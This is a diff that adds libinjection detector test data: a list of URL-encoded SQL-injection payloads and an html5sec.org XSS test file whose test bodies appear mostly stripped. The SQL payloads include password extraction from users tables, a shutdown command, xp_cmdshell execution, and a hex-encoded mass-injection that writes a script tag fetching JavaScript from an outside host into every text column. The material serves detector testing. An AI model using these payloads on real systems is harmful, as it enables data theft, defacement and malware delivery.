+1%27%2A%40%40version%2A-0%2520%3D%2520%270 +1%27%2Acurrent_date+rlike%270 +aa%27%2Fcurrent_date+in+%280%29+--+-a +aa%27+%2F+current_date+regexp+%270 +aa%27+%2F+current_date+%21%3D+%271 +1%27+or+current_date%2A-0+rlike%271 +0%27+%2F+current_date+XOR+%271 +%27or+not+false+%23aa +1%27+%2A+id+-+%270 +1%27+%2Aid-%270 +asd%27%3B+shutdown%3B+ +asd%27%3B+select+null%2Cpassword%2Cnull+from+users%3B+ +aa+aa%27%3B+DECLARE+tablecursor+CURSOR+FOR+select+a.name+as+c%2Cb.name+as+d%2C%28null%29from+sysobjects+a%2Csyscolumns+b+where+a.id%3Db.id+and+a.xtype+%3D+%28+%27u%27+%29+and+current_user+%3D+current_user+OPEN+tablecursor+ +aa+aa%27%3B+DECLARE+tablecursor+CURSOR+FOR+select+a.name+as+c%2Cb.name+as+d%2C%28null%29from+sysobjects+a%2Csyscolumns+b%0A++++++++++++++++++++++++where+a.id%3Db.id+and+a.xtype+%3D+%28+%27u%27+%29+and+current_user+%3D+current_user%0A++++++++++++++++++++++++OPEN+tablecursor+FETCH+NEXT+FROM+tablecursor+INTO+%40a%2C%40b+WHILE%28%40a+%21%3D+null%29%0A++++++++++++++++++++++++%40query++%3D+null%2Bnull%2Bnull%2Bnull%2B+%27+UPDATE+%27%2Bnull%2B%40a%2Bnull%2B+%27+SET+id%3Dnull%2C%40b+%3D+%40payload%27%0A++++++++++++++++++++++++BEGIN+EXEC+sp_executesql+%40query%0A++++++++++++++++++++++++FETCH+NEXT+FROM+tablecursor+INTO+%40a%2C%40b+END%0A++++++++++++++++++++++++CLOSE+tablecursor+DEALLOCATE+tablecursor%3B%0A++++++++++++++++++++++++and+some+text%2C+to+get+pass+the+centrifuge%3B+and+some+more+text. +%40query++%3D+null%2Bnull%2Bnull%2B+%27+UPDATE+%27%2Bnull%2B%40a%2B+%27+SET%5B++%27%2Bnull%2B%40b%2B+%27+%5D++%3D+%40payload%27 +asd%27+union+distinct%28select+null%2Cpassword%2Cnull+from+users%29--a+ +asd%27+union+distinct+%28+select+null%2Cpassword%2C%28null%29from+user+%29--+a+ +# double encoded +## DECLARE%2520%40S%2520CHAR%284000%29%3BSET%2520%40S%3DCAST%280x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%2520AS%2520CHAR%284000%29%29%3BEXEC%28%40S%29%3B +DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); +## asaa%27%3BSELECT%5Basd%5DFROM%5Basd%5D +## asd%27%3B+select+%5Bcolumn%5D+from+users+ +0x31+union+select+%40%40version%2Cusername%2Cpassword+from+users+ +1+order+by+if%281%3C2+%2Cuname%2Cuid%29+ +1+order+by+ifnull%28null%2Cuserid%29+ +2%27+between+1+and+3+or+0x61+like+%27a +4%27+MOD+2+like+%270 +-1%27+%2FID+having+1%3C+1+and+1+like+1%2F%271+ +2%27+%2F+0x62+or+0+like+binary+%270 +0%27+between+2-1+and+4-1+or+1+sounds+like+binary+%271+ +-1%27+union+%28%28select+%28select+user%29%2C%28select+password%29%2C1%2F1+from+mysql.user%29%29+order+by+%271+ +-1%27+or+substring%28null%2Fnull%2C1%2Fnull%2C1%29+or+%271 +1%27+and+1+%3D+hex%28null-1+or+1%29+or+1+%2F%27null+ +AND+CONNECTION_ID%28%29%3DCONNECTION_ID%28%29 +AND+ISNULL%281%2F0%29 +MID%28%40%40hostname%2C+1%2C+1%29 +CHARSET%28CURRENT_USER%28%29%29 +DATABASE%28%29+LIKE+SCHEMA%28%29 +COERCIBILITY%28USER%28%29%29 +1%27+and+0x1abc+like+0x88+or+%270 +%27-1-0+union+select+%28select+%60table_name%60+from+%60information_schema%60.tables+limit+1%29+and+%271 +null%27%27null%27+find_in_set%28uname%2C+%27lightos%27+%29+and+%271 +%28case-1+when+mid%28load_file%280x61616161%29%2C12%2C+1%2F+1%29like+0x61+then+1+else+0+end%29+ +%27sounds+like%281%29+union%19%28select%191%2Cgroup_concat%28table_name%29%2C3%19from%19information_schema.%60tables%60%29%23%28 +0%27+%271%27+like+%280%29+and+1+sounds+like+a+or+true%231 ++0%27rlike%280%29and+1+rlike+%28%40a%29or+true+-+%27+0+ +2a%27-1%5E+%27+0%27+and+%28select+mid%28user%2C1+%2F1%2C1%2F+1%29from%60mysql%60.user+limit+1%29+rlike+%27r ++A%27+sounds+like%28select+case%281%3D1%29when%271%27then%27A%27end%29+and+%271 +1%27+and+0x31%3D%271+ +1%27+and+0x05%3D%28select+0-+-mid%28version%28%29%2F-+-1%2C+1%2C1%29+as+%27a%27+from+dual%29+and+%271+ +%27AND+1.-1LIKE.1+EXEC+xp_cmdshell+%27dir+ + +# skipping +#SELECT+1%2C2%2C0xEF%60 +#SELECT+1%2C2%2C3%60abc%60%60 + +1%27AND%23%0A++++++++++++++++++++++++0%23%0A++++++++++++++++++++++++UNION%23%0A++++++++++++++++++++++++SELECT%40a%3A%3Dtable_name+FROM%23%0A++++++++++++++++++++++++information_schema.tables+LIMIT+1%23 +1%27+and+0x43+%3D+%28select+all+mid%28table_name%2C+1%2C1%29as%27a%27from+%60information_schema%60.tables+limit+1%29+and+%271%0A++++++++++++++++++++++++%27AND+1.-1LIKE.1+INSERT+INTO+TMP_DB+EXEC+%22xp_cmdshell%22%27dir +1%27+AND+0x35+%3D+%28SELECT+%40phpids%3A%3DMID%28%40%40version+FROM+1+FOR+1%29+FROM+dual%29+and+%271+ +null%27+or+%40%3A%3D%28select+all+user%27%27+from+mysql+.+user+limit+1%29+union%23%0A++++++++++++++++++++++++%23%0A++++++++++++++++++++++++select+%40%27 +1%27and+%23%0A++++++++++++++++++++++++%23aa%0A++++++++++++++++++++++++0+union%23%0A++++++++++++++++++++++++%23bb%0A++++++++++++++++++++++++select+version%28%29%60 +1%27and+%23%0A++++++++++++++++++++++++%23aa%0A++++++++++++++++++++++++0+union%23%0A++++++++++++++++++++++++%23bb%0A++++++++++++++++++++++++select+%28select+%60user%60+from%23%0A++++++++++++++++++++++++%23cc%0A++++++++++++++++++++++++mysql.user+limit+1%29%27 diff --git a/apps/cli/vendor/libinjection/data/xss-html5secorg.txt b/apps/cli/vendor/libinjection/data/xss-html5secorg.txt new file mode 100644 index 00000000..5c21e481 --- /dev/null +++ b/apps/cli/vendor/libinjection/data/xss-html5secorg.txt @@ -0,0 +1,488 @@ +# +# http://html5sec.org +# retreieved 2013-11-06 + +test 1
+ +# obsolete firefox 3 +#test 2 &ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi + +# obsolete firefox 3 +#test 3 &alert&A7&(1)&R&UA;&&<&A9&11/script&X&> + +test 4 + +test 5 + +test 6 + +test 7 + +test 8 + +test 9 X + +test 10 + +test 11 + +test 12





...



+ +# opera only, only "DoS" +# test 13 01 + +# opera only, "DoS" +# test 14 + +test 15 + +test 16 X + +test 17 + +test 18 + +# obsolete firefox 3 +# test 19 ¼script ¾alert(1)//¼/script ¾ + +test 20 + +test 21 + +test 22 + +test 23
+ +test 24 1 + +test 25 ;1 + +# obsolete firefox 4 and under +# test 26 +ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input); + +test 27 + +test 28 1 + +test 29 @import "data:,*%7bx:expression(write(1))%7D"; + +test 31_1 + +test 31_2 + +test 32
+ +test 33 XXXXXX + +test 34 1 + +test 35 1 + +test 36 XXX + +test 37 + +test 38 + +# obsolete, FF 3.6 and Opera 11 +#test 39_1 + +test 39_2 ><image xlink:href=" + +test 40 + +test 41
  • + +test 42 XXX + +test 43 + +test 44 X + +test 45
    XXX
    + +test 46
    XXX
    + +test 47 + +test 48 + +test 49 + +test 50 + +test 51 + +test 52 + +test 53_1 + +test 53_2 + +test 54 +test 55_2